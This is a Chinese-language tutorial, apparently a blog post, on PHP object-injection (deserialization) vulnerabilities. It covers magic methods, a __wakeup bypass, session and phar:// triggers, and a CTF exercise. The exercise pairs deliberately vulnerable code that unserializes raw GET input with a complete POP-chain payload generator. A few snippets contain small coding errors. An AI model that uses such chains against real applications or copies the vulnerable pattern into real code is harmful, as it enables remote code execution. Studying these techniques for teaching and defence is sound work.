PHP反序列化漏洞(PHP对象注入漏洞)
PHP中有两个函数serialize()[用于序列化]和unserialize()[用于反序列化]
这里一个使用了serialize函数序列化数值的例子
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
该例子的输出为:
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
在该字符串中,字母O代表Object,也就是说如果序列化的是一个数组就会用A(Array)字母代替,数字7代表对象的名称有7个字符,然后引号包含的字符串就是对象名称。数字1代表该对象有一个值,s:4:”test”与之类似代表一个名4个字符的字符串叫test。
然后
这里有一个使用了unserialize函数的例子
<?php
class chybeta{
var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'; print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_ser);
?>
这段代码会输出什么呢?
输出:chybeta Object ([test]=123)
注意:当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
既然提到的__wakeup()的话,这边需要来了解一下这类函数的应用。
__wakeup()、__sleep()、构造函数__construct()、析构函数__destruct()这类的函数在PHP语言中被称为魔术方法(Magic Function)。
<?php
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
该段代码会有一个什么样的输出结果呢?
先输出字符串class2然后调用__wakeup()再打印class2_unser然后在调用__destruct()。
在什么样子的情况下这样的函数会被利用到呢?
第一:危害代码存在于函数中
第二:层层调用,危害代码不直接存在于函数,而是在该函数new的对象中
第三:利用普通成员方法,构造利用字符串。
注意点:
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
该漏洞相关 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
几个简单实例:
题目入口:http://120.79.33.253:9001
Session反序列化漏洞
必要知识:session序列化机制
当session_start()函数被调用或者php.ini中session.auto_start值为1时,PHP将内部调用会话管理器,将用户的session序列化后存储到指定目录。
PHP处理器一般有三种序列化的处理方式:
| 处理器 | 对应的存储格式 |
| ————————— |:——————————-|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|
PHP.INI文件中的几个配置项
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
实例: http://web.jarvisoj.com:32784/index.php
解题姿势: session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。
Phar伪协议触发PHP反序列化
什么是phar://协议?
可以将多个文件归入一个本地文件夹,也可以包含一个文件
什么是phar文件?
PHAR(PHP归档)文件是一种打包格式,将PHP代码文件和其他资源文件打包到一个归档文件中实现程序和库的分发。PHAR格式的归档需要自编写代码使用。
phar文件结构
详解参考PHP手册(https://secure.php.net/phar)
1、a stub
识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub
2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据
3、the file contents
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘
Phar内置方法
要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)PHP内置phar类,其他的一些方法如下:
其他方法如下:
$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering() //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容
附录:魔术函数
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
POP链构造
POP:面向属性编程
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
POP链利用:
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
实战训练:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
如何得到FLAG呢?
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象
后记:简书的代码排版简直让我蛋疼,一篇去年写的勉强充数一下这礼拜的文章吧。